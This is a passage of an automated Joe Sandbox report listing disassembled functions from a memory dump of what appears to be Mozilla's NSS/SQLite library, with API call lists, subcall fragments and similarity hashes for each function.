Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07D6
Part of subcall function 6CBE07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CB7204A), ref: 6CBE07E4
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,6CB7204A), ref: 6CBE0864
Part of subcall function 6CBE07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CBE0880
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,6CB7204A), ref: 6CBE08CB
Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(?,?,6CB7204A), ref: 6CBE08D7
Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(?,?,6CB7204A), ref: 6CBE08FB

TlsGetValue.KERNEL32 ref: 6CC09CE8
EnterCriticalSection.KERNEL32(?,?,6CC0ECEC,6CC12FCD,00000000,?,6CC12FCD,?), ref: 6CC09D01
TlsGetValue.KERNEL32(?,?,?,6CC0ECEC,6CC12FCD,00000000,?,6CC12FCD,?), ref: 6CC09D38
EnterCriticalSection.KERNEL32(?,?,6CC0ECEC,6CC12FCD,00000000,?,6CC12FCD,?), ref: 6CC09D4D
PR_Unlock.NSS3 ref: 6CC09D70
PR_Unlock.NSS3 ref: 6CC09DC3
PR_NewLock.NSS3 ref: 6CC09DDD

Part of subcall function 6CC088D0: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CC10725,00000000,00000058), ref: 6CC08906
Part of subcall function 6CC088D0: EnterCriticalSection.KERNEL32(?), ref: 6CC0891A
Part of subcall function 6CC088D0: PL_ArenaAllocate.NSS3(?,?), ref: 6CC0894A
Part of subcall function 6CC088D0: calloc.MOZGLUE(00000001,6CC1072D,00000000,00000000,00000000,?,6CC10725,00000000,00000058), ref: 6CC08959
Part of subcall function 6CC088D0: memset.VCRUNTIME140(?,00000000,?), ref: 6CC08993
Part of subcall function 6CC088D0: PR_Unlock.NSS3(?), ref: 6CC089AF

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Value$calloc$CriticalEnterLockSectionUnlock$Arena$AllocateInitPoolmemset
String ID:
API String ID: 3394263606-0
Opcode ID: cfd84461bf377ca35969b530680524194ffdea953183e41f35874306710a89c1
Instruction ID: 2cfee1052cdf787772aaa3295fb8a5e91066633a31449ceb4270a771f75c1e39
Opcode Fuzzy Hash: cfd84461bf377ca35969b530680524194ffdea953183e41f35874306710a89c1
Instruction Fuzzy Hash: A9516EB1B047058FDB00EF69C0847AABBF4BF44349F158969D9989BB10FB31E884CB91

Function 6CC388E0 Relevance: 12.1, APIs: 8, Instructions: 112COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CC388FC

Part of subcall function 6CC4BE30: SECOID_FindOID_Util.NSS3(6CC0311B,00000000,?,6CC0311B,?), ref: 6CC4BE44

PORT_NewArena_Util.NSS3(00000800), ref: 6CC38913

Part of subcall function 6CC50FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CBF87ED,00000800,6CBEEF74,00000000), ref: 6CC51000
Part of subcall function 6CC50FF0: PR_NewLock.NSS3(?,00000800,6CBEEF74,00000000), ref: 6CC51016
Part of subcall function 6CC50FF0: PL_InitArenaPool.NSS3(00000000,security,6CBF87ED,00000008,?,00000800,6CBEEF74,00000000), ref: 6CC5102B

SEC_ASN1DecodeItem_Util.NSS3(00000000,?,6CD1D864,?), ref: 6CC38947

Part of subcall function 6CC4E200: PR_SetError.NSS3(FFFFE009,00000000), ref: 6CC4E245
Part of subcall function 6CC4E200: PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6CC4E254

SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6CC3895B
DER_GetInteger_Util.NSS3(?), ref: 6CC38973
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CC38982
SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CC389EC
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CC38A12

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$Arena_Tag_$AlgorithmErrorFindFree$ArenaDecodeInitInteger_Item_LockPoolcalloc
String ID:
API String ID: 2145430656-0
Opcode ID: 8f849221ef68438e9aa0513d44ca2149a6a525f1e54c5ebbe664cee2012a8e63
Instruction ID: 0e22db4576c109e6e7b756e10d54aac16a73a7140c7e9b9e24e252ab4b047cef
Opcode Fuzzy Hash: 8f849221ef68438e9aa0513d44ca2149a6a525f1e54c5ebbe664cee2012a8e63
Instruction Fuzzy Hash: F13159B1A0472057FB105639BC41FAA72959F9132CF241B37E92DD7B81FB32C45A8293

Function 6CC14E50 Relevance: 12.1, APIs: 8, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CC14E90
EnterCriticalSection.KERNEL32 ref: 6CC14EA9
TlsGetValue.KERNEL32 ref: 6CC14EC6
EnterCriticalSection.KERNEL32 ref: 6CC14EDF
PL_HashTableLookup.NSS3 ref: 6CC14EF8
PR_Unlock.NSS3 ref: 6CC14F05
PR_Now.NSS3 ref: 6CC14F13
PR_Unlock.NSS3 ref: 6CC14F3A

Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07AD
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07CD
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07D6
Part of subcall function 6CBE07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CB7204A), ref: 6CBE07E4
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,6CB7204A), ref: 6CBE0864
Part of subcall function 6CBE07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CBE0880
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,6CB7204A), ref: 6CBE08CB
Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(?,?,6CB7204A), ref: 6CBE08D7
Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(?,?,6CB7204A), ref: 6CBE08FB

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID:
API String ID: 326028414-0
Opcode ID: c3f872708640f45069f68ac6606ac2e0939f7fdbfa00b7993d291c291f0ac24b
Instruction ID: 817739cc78d1e1f399d7aa0d8f93e2f70ff1a679fea1d7f521794334fe38beb5
Opcode Fuzzy Hash: c3f872708640f45069f68ac6606ac2e0939f7fdbfa00b7993d291c291f0ac24b
Instruction Fuzzy Hash: 62415DB4A046059FDB00EF79C08486AFBF4FF49348B118569DD599B711EB30E895CF91

Function 6CBFDCE0 Relevance: 12.1, APIs: 8, Instructions: 90stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CBFDCFA

Part of subcall function 6CCB9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CD00A27), ref: 6CCB9DC6
Part of subcall function 6CCB9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CD00A27), ref: 6CCB9DD1
Part of subcall function 6CCB9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CCB9DED

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CBFDD40
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6CBFDD62
CERT_DestroyCertificate.NSS3(?), ref: 6CBFDD71
CERT_DestroyCertificate.NSS3(00000000), ref: 6CBFDD81
CERT_RemoveCertListNode.NSS3(?), ref: 6CBFDD8F

Part of subcall function 6CC106A0: TlsGetValue.KERNEL32 ref: 6CC106C2
Part of subcall function 6CC106A0: EnterCriticalSection.KERNEL32(?), ref: 6CC106D6
Part of subcall function 6CC106A0: PR_Unlock.NSS3 ref: 6CC106EB

CERT_DestroyCertificate.NSS3(?), ref: 6CBFDD9E
CERT_DestroyCertificate.NSS3(?), ref: 6CBFDDB7

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: CertificateDestroy$Time$CertSystem$CriticalEnterFileFindIssuerListNodeRemoveSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strcmp
String ID:
API String ID: 653623313-0
Opcode ID: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction ID: ca2815bc0c11625e515f4278bddb0d7699ba9cefd56b96c39390e3c731148951
Opcode Fuzzy Hash: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction Fuzzy Hash: 8C217FBAE012A59BDB019FA4EC4099EB7B4EF05318B140064E824A7711E721E91A8BF2

Function 6CD00860 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

PR_LogFlush.NSS3(00000000,00000000,?,?,6CD07AE2,?,?,?,?,?,?,6CD0798A), ref: 6CD0086C

Part of subcall function 6CD00930: EnterCriticalSection.KERNEL32(?,00000000,?,6CD00C83), ref: 6CD0094F
Part of subcall function 6CD00930: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?,?,6CD00C83), ref: 6CD00974
Part of subcall function 6CD00930: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD00983
Part of subcall function 6CD00930: _PR_MD_UNLOCK.NSS3(?,?,6CD00C83), ref: 6CD0099F

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000001,00000000,00000000,?,?,6CD07AE2,?,?,?,?,?,?,6CD0798A), ref: 6CD0087D
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,6CD07AE2,?,?,?,?,?,?,6CD0798A), ref: 6CD00892
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,?,?,?,?,6CD0798A), ref: 6CD008AA
free.MOZGLUE(?,00000000,00000000,?,?,6CD07AE2,?,?,?,?,?,?,6CD0798A), ref: 6CD008C7
free.MOZGLUE(?,00000000,00000000,?,?,6CD07AE2,?,?,?,?,?,?,6CD0798A), ref: 6CD008E9
free.MOZGLUE(?,6CD07AE2,?,?,?,?,?,?,6CD0798A), ref: 6CD008EF
PR_DestroyLock.NSS3(?,00000000,00000000,?,?,6CD07AE2,?,?,?,?,?,?,6CD0798A), ref: 6CD0090E

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: free$__acrt_iob_func$CriticalDestroyEnterFlushLockSectionfclosefflushfwrite
String ID:
API String ID: 3145526462-0
Opcode ID: cf505ff854d98a78b384b14621c1415c76c02bdeb2a188c5f126496ce9bbe526
Instruction ID: 2cb6860c6c7d96d2dc2158fbb3afbd4c96e0b8c39f5a66bfee8caf8a68fd7f43
Opcode Fuzzy Hash: cf505ff854d98a78b384b14621c1415c76c02bdeb2a188c5f126496ce9bbe526
Instruction Fuzzy Hash: C41160B1B022409BFF00BF58D89574A777CBB8229CF690124E61697690DB31F9148BD2

Function 6CBF3C90 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,6CC6460B,?,?), ref: 6CBF3CA9
EnterCriticalSection.KERNEL32(?), ref: 6CBF3CB9
PL_HashTableLookup.NSS3(?), ref: 6CBF3CC9
SECITEM_DupItem_Util.NSS3(00000000), ref: 6CBF3CD6
PR_Unlock.NSS3 ref: 6CBF3CE6
CERT_FindCertByDERCert.NSS3(?,00000000), ref: 6CBF3CF6
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CBF3D03
PR_Unlock.NSS3 ref: 6CBF3D15

Part of subcall function 6CC9DD70: TlsGetValue.KERNEL32 ref: 6CC9DD8C
Part of subcall function 6CC9DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CC9DDB4

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: CertCriticalItem_SectionUnlockUtilValue$EnterFindHashLeaveLookupTableZfree
String ID:
API String ID: 1376842649-0
Opcode ID: 0e0eeed15ce028b12cc324293fea10dbc16d42b16f3cb55b9505cd6c3ce804d1
Instruction ID: 041952d214210a43ee80e9d28466fc2dd5041ef231384a9e7a496d3f9c7c4808
Opcode Fuzzy Hash: 0e0eeed15ce028b12cc324293fea10dbc16d42b16f3cb55b9505cd6c3ce804d1
Instruction Fuzzy Hash: D91100BAE015556BFB012B38DC458AA3A7CEB0265CB544130EE2853711F721D95DC6F2

Function 6CBF9C50 Relevance: 10.8, APIs: 7, Instructions: 253stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC111C0: PR_NewLock.NSS3 ref: 6CC11216

free.MOZGLUE(?), ref: 6CBF9E17
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBF9E25
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBF9E4E
TlsGetValue.KERNEL32 ref: 6CBF9EA2

Part of subcall function 6CC09500: memcpy.VCRUNTIME140(00000000,?,00000000,?,?), ref: 6CC09546

EnterCriticalSection.KERNEL32(?), ref: 6CBF9EB6
PR_Unlock.NSS3 ref: 6CBF9ED9
PR_SetError.NSS3(FFFFE08A,00000000), ref: 6CBF9F18

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: strlen$CriticalEnterErrorLockSectionUnlockValuefreememcpy
String ID:
API String ID: 3381623595-0
Opcode ID: faaa9b30bf02e8c764d211499e4bc04a18cdd2bbf8ac21d444b88887a8052ebe
Instruction ID: 81ac2a05207c7d2bc5651c8ea9b421599d65506b51b3d7d7126ad4be790e8feb
Opcode Fuzzy Hash: faaa9b30bf02e8c764d211499e4bc04a18cdd2bbf8ac21d444b88887a8052ebe
Instruction Fuzzy Hash: FD81F4B5E00641ABEB009F24DC40BABB7A9FF5424CF144529E96587F41FB32E85DC7A2

Function 6CC0DCB0 Relevance: 10.7, APIs: 7, Instructions: 245stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC0AB10: DeleteCriticalSection.KERNEL32(D958E852,6CC11397,5B5F5EC0,?,?,6CC0B1EE,2404110F,?,?), ref: 6CC0AB3C
Part of subcall function 6CC0AB10: free.MOZGLUE(D958E836,?,6CC0B1EE,2404110F,?,?), ref: 6CC0AB49
Part of subcall function 6CC0AB10: DeleteCriticalSection.KERNEL32(5D5E6CE0), ref: 6CC0AB5C
Part of subcall function 6CC0AB10: free.MOZGLUE(5D5E6CD4), ref: 6CC0AB63
Part of subcall function 6CC0AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6CC0AB6F
Part of subcall function 6CC0AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6CC0AB76

TlsGetValue.KERNEL32 ref: 6CC0DCFA
EnterCriticalSection.KERNEL32(00000000), ref: 6CC0DD0E
PK11_IsFriendly.NSS3(?), ref: 6CC0DD73
PK11_IsLoggedIn.NSS3(?,00000000), ref: 6CC0DD8B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC0DE81
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CC0DEA6
PR_Unlock.NSS3(?), ref: 6CC0DF08

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: CriticalSection$Deletefree$K11_$EnterFriendlyLoggedUnlockValuememcpystrlen
String ID:
API String ID: 519503562-0
Opcode ID: e4e479978a7ee43a0db0bfc667594af91b4ce5e44d14daa5e9fcfdf2260d9e0b
Instruction ID: b00c89230b1d9eaac293bb59dc5c83700c1213bb4801717e8984d09845bda862
Opcode Fuzzy Hash: e4e479978a7ee43a0db0bfc667594af91b4ce5e44d14daa5e9fcfdf2260d9e0b
Instruction Fuzzy Hash: 3091D4B5B002059FEB00DF68D880BAAB7B5BF44308F148069DD199BB52F732E955CBA1

Function 6CB74F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB74FC4
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB751BB

Strings

unable to delete/modify user-function due to active statements, xrefs: 6CB751DF
misuse, xrefs: 6CB751AF
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB751A5
%s at line %d of [%.10s], xrefs: 6CB751B4

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: c3387b709ed0b58fc844e447134a703eacaa527fc7b64a027c3c7b335f695431
Instruction ID: 91075e8e275c5ced4ed8ffd64e8745b0e076266b95c78c19999bedf14ff4ec24
Opcode Fuzzy Hash: c3387b709ed0b58fc844e447134a703eacaa527fc7b64a027c3c7b335f695431
Instruction Fuzzy Hash: B171BE71B0424A9BEB10CF25CC84B9A77B9FF48309F044524FD299BA81D335E959CBB2

Function 6CBE2D20 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6CBE2D69

Strings

winTruncate2, xrefs: 6CBE2EF8
winTruncate1, xrefs: 6CBE2EBE
winUnmapfile2, xrefs: 6CBE2F7F
winSeekFile, xrefs: 6CBE2E9C
winUnmapfile1, xrefs: 6CBE2F55

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: __allrem
String ID: winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2
API String ID: 2933888876-3221253098
Opcode ID: b2503d6e73897eebab61830c685b98340e239bbd04adfc33748847c023528ef8
Instruction ID: 779ef3c77beac49567faae2e80d5be7a58dafc456fa28270628c95833a704419
Opcode Fuzzy Hash: b2503d6e73897eebab61830c685b98340e239bbd04adfc33748847c023528ef8
Instruction Fuzzy Hash: 0261C771B002159FEB04CF68DC84A6A77B5FF4D754F20812DEA199B790EB31AC06CB92

Function 6CC629E0 Relevance: 10.7, APIs: 7, Instructions: 181COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,00000000,00000000,?,?,6CC621DD,00000000), ref: 6CC62A47
SEC_ASN1EncodeInteger_Util.NSS3(?,6CC621DD,00000002,00000000,00000000,?,?,6CC621DD,00000000), ref: 6CC62A60
SECOID_FindOIDByTag_Util.NSS3(00000000,?,?,?,?,00000000,00000000,?,?,6CC621DD,00000000), ref: 6CC62A8E
PK11_KeyGen.NSS3(00000000,?,00000000,83F089CA,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CC62AE9
PORT_ArenaMark_Util.NSS3(00000000), ref: 6CC62B0D
PK11_FreeSymKey.NSS3(?), ref: 6CC62B7B
PK11_FreeSymKey.NSS3(?), ref: 6CC62BD6

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: K11_Util$Free$ArenaEncodeErrorFindInteger_Mark_Tag_
String ID:
API String ID: 1625981074-0
Opcode ID: 3d109ce8f5746d24db39dc068ca9cadc3c2934e72f43dc19794bb87a6b8eebb4
Instruction ID: e28aa2c7cf43ac1349acc31225379657d22ff09fe6e52ed65585b95a38c5310b
Opcode Fuzzy Hash: 3d109ce8f5746d24db39dc068ca9cadc3c2934e72f43dc19794bb87a6b8eebb4
Instruction Fuzzy Hash: B0510671E002059BEB108E66DDD4BAA73B5EF4431CF150124ED1AABB92F731E915CB91

Function 6CC1BCF0 Relevance: 10.6, APIs: 7, Instructions: 142memoryCOMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CC1BD1E

Part of subcall function 6CBF2F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CBF2F0A
Part of subcall function 6CBF2F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CBF2F1D

Part of subcall function 6CC357D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6CBFB41E,00000000,00000000,?,00000000,?,6CBFB41E,00000000,00000000,00000001,?), ref: 6CC357E0
Part of subcall function 6CC357D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6CC35843

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CC1BD8C

Part of subcall function 6CC4FAB0: free.MOZGLUE(?,-00000001,?,?,6CBEF673,00000000,00000000), ref: 6CC4FAC7

CERT_DestroyCertList.NSS3(00000000), ref: 6CC1BD9B
SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000008), ref: 6CC1BDA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC1BE3A

